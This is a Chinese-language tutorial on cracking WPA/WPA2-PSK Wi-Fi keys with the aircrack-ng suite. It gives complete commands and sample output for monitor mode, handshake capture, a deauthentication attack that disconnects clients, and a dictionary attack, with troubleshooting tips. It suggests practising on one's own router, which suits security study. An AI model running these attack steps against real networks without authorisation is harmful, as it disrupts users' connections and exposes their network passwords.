简介

这篇文章介绍一下如何使用aircrack-ng破解采用预共享密钥(PSK)认证的WPA/WPA2网络。推荐读者先阅读一些关于WPA/WPA2的背景知识。可参见这里。或者这篇文章。点击此处可下载pdf文档。另外,这篇WPA包的捕捉将作为本档的补充文档。

WPA/WPA2支持多种类型的认证机制,包括预共享密钥。而aircrack-ng则只能破解WPA-PSK。所以在破解之前,应该使用airodump-ng命令确定网络的认证类型。如果是PSK类型的,再行破解。

破解WPA/WPA2和WEP也有很大的不同,不像在WEP中,有统计方法可以加速破解过程,在破解WPA/WPA2时,只有最平常的暴力破解。这是因为在WPA/WPA2中,密钥不是静态的,所以收集IVs并不会加速对密钥的破解过程。唯一对破解有帮助的事情是,当用户和接入点之间进行认证时所发送的数据包。当用户试图连接到接入点时,需要与之进行握手。又因为PSK的密钥可以是8至63字符的任意长度,就使得破解变得更加困难。

我们可以进行破解的WPA/WPA2网络,密钥大多是某个单词,或者非常短的字符数字组合。相反,如果我们想要防止自己的网络被破解,那么采用WPA/WPA2加密,且将密钥设置到63个字符(掺杂一些特殊符号),基本就可以了。

采用暴力破解方式的后果就是付出的时间代价非常大。因为破解过程涉及到大量的计算和比对,通常来讲笔记本每秒只能尝试大约50到300个密钥。很显然,这和电脑的计算能力有关。于是破解一次,就需要比对一个密钥词典几个小时,甚至几天。如果想尝试通过字符的排列和组合来构建密钥,可以先看一下这篇文章来了解需要多长时间。

注:

  • 我们用来破解WPA/WPA2的密钥词典必须含有该网络的密钥,否则aircrack-ng是无法破解的
  • 破解WPA和WPA2从理论上来说是没有什么区别的,因为两者的认证机制是相同的
  • 建议读者使用自己家的路由器来进行实验,这样可以更容易地熟悉这些命令

前提

  1. 我们所用的网卡及驱动支持注入,可参见注入测试
  2. 距离接入点足够地近,以便我们能够发送和接收数据包。再一次强调,能接收到数据包不表示就一定能将数据包传到接入点(接入点的传送距离一般要比我们的网卡远)。可以通过下面的步骤来判断我们的网卡是否能和接入点进行通信。
  3. 保证自己使用的是aircrack-ng的较新版本(>0.9.1),如果没有,那么有些命令可能会有所不同。
    确保自己满足以上所有的前提,然后再进行下面的操作。在下面的例子中,我们需要将”ath0”改为自己网卡的接口。

需要用的信息

在下面的例子中,所使用的各种信息罗列如下:

  • 网卡的MAC地址:00:0F:B5:88:AC:82
  • 接入点用户的MAC地址:00:0F:B5:FD:FB:C2
  • 接入点的MAC地址(BSSID):00:14:6C:7E:40:80
  • 网络名称(ESSID):teddy
  • 接入点信道:9
  • 无线接口:ath0
    在我们自己尝试的时候,需要同样收集到相应的信息。然后在命令中做相应的替换。

破解步骤

概述
我们最主要的目标是WPA/WPA2认证握手包,收集到以后就可以使用aircrack-ng来破解了。获取认证包的方式有主动和被动两种方式。主动的意思是可以通过一定方式,加快我们获取认证包的过程;被动就是一直等待认证包的出现。被动也有一定的好处,就是我们不用注入功能就可以完成,因此Windows版本的aircrack-ng也可以进行。下面是一些基本的步骤:

  1. 将网卡在特定的信道设置为monitor模式
  2. 在该信道上使用airodump-ng获取特定BSSID的握手包
  3. 使用aireplay-ng来解除用户认证,加速握手包的收集
  4. 利用所得的握手包,通过aircrack-ng来破解出秘钥

步骤一:开启monitor模式

这一步的目的是将网卡置于monitor模式,monitor模式使得我们的网卡可以监听到所在范围内的所有数据包。正常情况下,我们的网卡只接受那些发送给我们的数据包。所以只有通过monitor模式,我们才有可能收集到接入点的握手包。而且,它也是我们进行解除认证攻击的前提(加速方法)。将网卡设定到monitor模式的具体方法,因我们所使用的驱动不同而不同。通过下面的命令,我们首先可以来查看驱动信息:

airmon-ng

对于Ralink,Atheros和Broadcom网卡,屏幕会出现:

 Interface       Chipset         Driverrausb0          Ralink RT73     rt73wlan0           Broadcom        b43 - [phy0]wifi0           Atheros         madwifi-ngath0            Atheros         madwifi-ng VAP (parent: wifi0)
  • b43驱动后的【phy0】标签表示该驱动是mac80211驱动,注意mac80211驱动只支持>v1.0-rc1版本的aircrack-ng
  • 两个Atheros网卡的驱动均是madwifi-ng,下面给出了将其设定为monitor模式的方法
  • Ralink网卡不是mac80211,又不是madwifi-ng驱动的,所以它使用的是ieee80211驱动,参见常用方法将其设定为monitor模式

步骤一:1. 设定madwifi-ng驱动的网卡
首先,停掉ath0,输入命令:

airmon-ng stop ath0

屏幕会出现:

 Interface       Chipset         Driverwifi0           Atheros         madwifi-ngath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)

然后输入iwconfig查看是否还有其他athX的接口,应该会出现类似下面的内容:

 lo        no wireless extensions.eth0      no wireless extensions.wifi0     no wireless extensions.

如果显示还有其他的athX接口的话,我们需要将它们都停掉(airmon-ng stop athX)。然后,再一次用iwconfig命令确认自己已经停掉所有的athX接口。最后,我们将网卡设定到信道9上的monitor模式:

airmon-ng start wifi0 9

注:在这个命令中,我们使用了wifi0而不是ath0接口,这是因为我们使用的是madwifi-ng驱动。

屏幕会显示:

 Interface       Chipset         Driverwifi0           Atheros         madwifi-ngath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)

注意到,此时ath0已经被设定成了monitor模式。同样,可以使用iwconfig命令来验证,屏幕会显示:

 lo        no wireless extensions.wifi0     no wireless extensions.eth0      no wireless extensions.ath0      IEEE 802.11g  ESSID:""  Nickname:""Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82   Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3  Retry:off   RTS thr:off   Fragment thr:offEncryption key:offPower Management:offLink Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBmRx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0Tx excessive retries:0  Invalid misc:0   Missed beacon:0

从上面的信息中,我们可以看到ath0确实已经处在monitor模式了。它的工作频率为2.452GHz,信道为9,接入点项(Access Point)表示的是我们网卡的MAC地址(前面已经说过,只有在madwifi-ng驱动下才会有这一项)。建议在进行下面的操作之前,都像这样检查一下,看看是否有异常。

步骤一:2. 设定mac80211驱动的网卡
不像madwifi-ng那样,使用mac80211驱动时,我们不需要移除wlan0接口了。直接可使用下面的命令:

airmon-ng start wlan0 9

屏幕显示:

 Interface       Chipset         Driverwlan0           Broadcom        b43 - [phy0](monitor mode enabled on mon0)

可以看到,airmon-ng为我们创建了一个monitor模式的mon0接口。所以,在后续的命令中,我们都要使用这个接口来进行各种操作。此时,wlan0仍然在managed模式,并且能够正常使用。只要wlan0所连接入点的信道和目标接入点的信道相同,且我们没有进行信道跳跃的操作。

同样,为了验证,输入iwconfig命令:

 lo        no wireless extensions.eth0      no wireless extensions.wmaster0  no wireless extensions.wlan0     IEEE 802.11bg  ESSID:""Mode:Managed  Frequency:2.452 GHz  Access Point: Not-AssociatedTx-Power=0 dBmRetry min limit:7   RTS thr:off   Fragment thr=2352 BEncryption key:offPower Management:offLink Quality:0  Signal level:0  Noise level:0Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0Tx excessive retries:0  Invalid misc:0   Missed beacon:0mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.452 GHz  Tx-Power=0 dBmRetry min limit:7   RTS thr:off   Fragment thr=2352 BEncryption key:offPower Management:offLink Quality:0  Signal level:0  Noise level:0Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0Tx excessive retries:0  Invalid misc:0   Missed beacon:0

这里,可以看到mon0已经被设定为monitor模式了。它的工作频率为2。2.452GHz。因为不是madwifi-ng驱动,所以也没有Accesss Point这一项。同样可以看到,wlan0仍然存在,处在managed模式上。这时,因为两个接口的频率是一样的,所以它们的信道也必须相同,改变其中一个信道会导致另一个的信道也改变。

步骤一:3. 设定其他驱动的网卡
对于其他驱动(基于ieee80211)的网卡,只需输入下面的命令即可(将rausb0替换为我们自己的接口名):

airmon-ng start rausb0 9

屏幕会显示:

 Interface       Chipset         Driverrausb0          Ralink          rt73 (monitor mode enabled)

这时,接口就应该可以使用了。

步骤二:使用airodump-ng收集认证握手包

这一步的目的是捕捉接入点的握手包,输入命令:

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

其中:

  • -c 9 表示网络所在的信道
  • –bssid 00:14:6C:7E:40:80 表示接入点的MAC地址
  • -w psk 表示我们用来存放IVs文件名前缀
  • ath0 表示接口名

注意:不要使用–ivs参数,因为我们需要收集完整的包。当一个用户连接到接入点被捕获到认证包时,会显示下面的内容:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy                           BSSID              STATION            PWR  Lost  Packets  Probes                                             00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  

上面的信息中,我们应该注意到右上角的”WPA handshake: 00:14:6C:7E:40:80”,这表明airodump-ng已经成功捕获了一个认证包。下面显示的是没有用户连接时的信息:

  CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy                           BSSID              STATION            PWR  Lost  Packets  Probes   

常见问题及解决方法
可以参见文章末尾总结的常见问题。
如果想知道我们是否已经捕捉到了握手包,有两种方式。第一种,如上所述,通过观察显示内容右上角的信息。第二种,使用Wireshark,通过eapol过滤,这样就可以得到。

步骤三:使用aireplay-ng对用户进行解除认证攻击

这一步是可选的,如上所述,是为了加快捕捉握手包的过程。如果足够耐心的话,我们可以一直等到某个用户连接网络时捕捉握手包。很显然,采用这样的方式需要已经有用户连接上了接入点,我们通过断开它的连接,迫使其重新认证,如此捕捉认证包。

我们需要一个已经连接到该网络的用户的MAC地址,输入命令:

aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

其中:

  • -0表示解除认证攻击
  • 1表示发送出的解除认证包(数量可选)
  • -a 00:14:6C:7E:40:80接入点的MAC地址
  • -c 00:0F:B5:FD:FB:C2与接入点连接用户的MAC地址
  • ath0 表示接口名称

屏幕会显示:

11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]

注意:因为需要我们的PC直接发送数据包给接入点接收,所以还是要保证我们与接入点的距离足够的近。我们也可以使用tcpdump命令,来尝试获取用户的ACK包,以此验证用户是否已经收到解除包的干扰。

步骤四:使用aircrack-ng破解秘钥

这一步的目的当然就是通过所得的认证包破解秘钥。要完成这一步,我们必须要有一个秘钥词典。然后,aircrack-ng通过尝试词典中的每一个词,来试图破解秘钥。

在aircrack-ng源码中的test文件夹中,有一个小的词典”password.lst”。Wiki FAQ里有拓展的词典。我们也可也通过使用John the Ripper来生成自己词典,然后通过aircrack
-ng使用它。打开另外一个终端,输入命令:

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

其中:

  • -w password.lst表示词典文件,如果文件不在运行路径中,则需要完整路径
  • *.cap是我们刚刚捕捉的含有认证包的文件,使用了通配符来包含所有文件

当没有握手包时,会这样输出:

 Opening psk-01.capOpening psk-02.capOpening psk-03.capOpening psk-04.capRead 1827 packets.No valid WPA handshakes found.

这时,我们必须返回步骤三,重新获取握手包。

当找到握手包时,会这样输出:

 Opening psk-01.capOpening psk-02.capOpening psk-03.capOpening psk-04.capRead 1827 packets.#  BSSID              ESSID                     Encryption1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)Choosing first network as target.

这时,aircrack-ng已经开始尝试破解秘钥了。这个过程所花费的时间因密码难度,PC计算能力而异。成功时,会这样输出:

                               Aircrack-ng 0.8[00:00:00] 2 keys tested (37.20 k/s)KEY FOUND! [ 12345678 ]Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98 CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40 FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E 2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71 EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB 

常见问题及解决方法

捕捉不到握手包
握手包的捕捉是一个很艰难也很有意思的过程,需要我们自己不断尝试。出现问题时,一般可以从如下方面进行检查:

  • 我们网卡的传输标准要和接入点以及客户端相同。举例来说,如果我们网卡的是b,而接入点和客户端的是g,那么我们就不能捕捉到握手包。特别是对于一些比较新的接入点,因为它们可能使用了turbo或者其他新的标准。有些驱动支持我们指定标准,有时候iwconfig命令可能也有用,它有一个modulation参数,可以查询一下使用方法。最后,1,2,5.5,11MBit表示的是b,而6,9,12,18,24,36,48,54表示的是g
  • 有时候会需要将网卡设定到相同的传输速率,IE auto,1MB,2MB,11MB,54MB等
  • 保证自己用来捕捉的网卡被锁定到和接入点相同的信道。可以通过使用airodump-ng命令时加上参数-c< channel of AP >来达到目的
  • 保证系统上没有运行connection manager,它可能在你不知情的情况下改变网卡的模式或者所处信道
  • 保证自己离接入点和用户都比较近
  • 相反,我们也不能离得太近,太近可能会导致包被丢弃
  • 尽可能使用wiki上推荐的驱动,有些驱动不能捕捉所有的数据包
  • 如果可能手动断开和连接来产生握手包
  • 如果使用解除认证方法,尽量使用少一些的数据包来断开用户的连接。正常一个包就可以了。过多的包可能导致用户无法再次连接到接入点,因此就不会再产生握手包。而且,要使用定向的而非广播的包来进行解除认证攻击。如果我们没有得到ACK包,就表明用户并没有接收到攻击包。
  • 试着停止在客户端站的无线电台,然后重新启动它
  • 保证自己没有运行其他可能产生影响的程序,如connection manager,Kismet等等
  • 用这篇指导来检查一下捕捉的数据包,看看能不能找到问题。例如,缺失了AP包,缺失了客户端包等等

Aicrack-ng破解WPA/WPA2相关推荐

  1. Aircrack之破解WPA/WPA2类型的wifi密码

    信息安全之破解WPA/WPA2类型的wifi密码 Aircrack是破解WEP/WPA/WPA2加密的主流工具之一,排名靠前,操作简单,对刚玩安全的人也非常友好. Aircrack-ng套件包含的工具 ...

  2. 无线网络密码破解WPA/WPA2教程(包教包会)

    在动手破解WPA/WPA2前,应该先了解一下基础知识,本文适合新手阅读  首先大家要明白一种数学运算,它叫做哈希算法(hash),这是一种不可逆运算,你不能通过运算结果来求解出原来的未知数是多少,有时 ...

  3. CDLinux破解WPA/WPA2无线网络密码

    破解前的准备工作: 1.8187/8187L/3070芯片大功率网卡一块(就是我们俗称的"卡王") 2.破解软件CDLinux    3.CDLinux下载地址   http:// ...

  4. 【WLAN】【测试】Linux下aircrack-ng的应用之破解WPA/WPA2、WEP密钥

    1.准备工作 a.将网卡设置为monitor模式,在前述博文的抓包方法中有说明,不再赘述: b.准备字典文件wordlists.txt. 2.探测阶段 通过sudo airodump-ng wlan0 ...

  5. 暴力破解WPA(WPA2 PSK)密码

    1.命令行先输入 airodump-ng --bssid 78:17:35:5A:64:9C --channel 7--write WPACrackingDemo wlan0mon 抓取数据包 mac ...

  6. 如何使用Aircrack-ng工具破解无线网络(kali 使用RT3070L芯片Ralink 802.11 n网卡破解WPA/WPA2无线网络)

    目录 一.购买无线网卡 二.插上无线网卡 三.连接我们的无线网卡​编辑 四.可移动设备没有出现网卡信息 五.windows无法启动VMware USB Arbitration Service服务 六. ...

  7. 关于如何通过kali linux 攻击以及破解WPA/WPA2无线加密

    http://blog.csdn.net/wingstudio_zongheng/article/details/51435212 1.前期准备 1)打开一个终端  执行命令: ifconfig   ...

  8. 破解WIFI(wpa/wpa2)

    破解WiFi密码(WPA/WPA2) 如今,绝大部分的WiFi网络都采用了 WPA/WPA2 加密,WEP 加密已经极为罕见.所以本文就给大家介绍如何用 Aircrack-ng 工具包破解 WPA/W ...

  9. 使用Aircrack-ng工具破解WEP、WPA/WPA2加密的无线网络

    特别声明:本文是参照"9.2 使用Aircrack-ng工具破解无线网络"进行实验的.链接为:https://wizardforcel.gitbooks.io/daxueba-ka ...

最新文章

  1. cdh 安装_0623-6.2.0-如何在CDH中安装CFM
  2. matlab的边缘检测方法,MATLAB应用—Matlab多种图像边缘检测方法
  3. 分享一个简单的功能集网站
  4. cpu进程调度---RT Throttling【转】
  5. 2.1.5 线程概念和多线程模型
  6. PHP使用Switch语句判断星座,PHP的switch判断语句的“高级”用法详解 用switch语句怎样判断成绩的等级...
  7. python中不能使用下标运算的有哪些_Python中最常见的10个问题(列表)
  8. dat image 微信_微信 .dat图片格式转换为.jpg
  9. Spring Cloud 一:注册中心
  10. luoguP1090 合并果子 (贪心+优先队列)
  11. Spark RDD的运行机制 工作节点分布关系
  12. 28岁程序员期权过亿,彪悍从字节退休,网友:酸了酸了!
  13. 使用LibreOffice的Draw取代Microsoft visio
  14. Sybase数据库知识总结
  15. coon's patch
  16. 计算机二级大题知识点汇总,计算机二级office复习知识点汇总
  17. iOS真机不能运行,模拟器可以
  18. 2015计算机基础知识,计算机基础知识题库【2015版】
  19. iis8.0php套件包,iis8.0下载|iis8.0安装包微软Web服务器组件官方版 8..8 - 系统天堂
  20. python控制windows窗口、并输入数据_python win32api win32gui win32con 窗口句柄 发送消息 常用方法 键盘输入...

热门文章

  1. php微信小程序支付流程,微信小程序支付流程
  2. java中如何遍历实体类的属性和数据类型以及属性值
  3. iPad断触问题,iPencil正常,手指断触11个简便解决方法
  4. 求(2~1000)一个数的最大质因数
  5. 电商解密之优惠券:B2C平台优惠券该如何设计?
  6. java方法调用之单分派与多分派(二)
  7. python股票自动选股+止损止盈
  8. 需要使用电话外呼系统的行业都有哪些?好处何在?
  9. 物联卡中心:新人必看,关于物联网卡常见的三大问题!
  10. 一个I/O口实现两个按键功能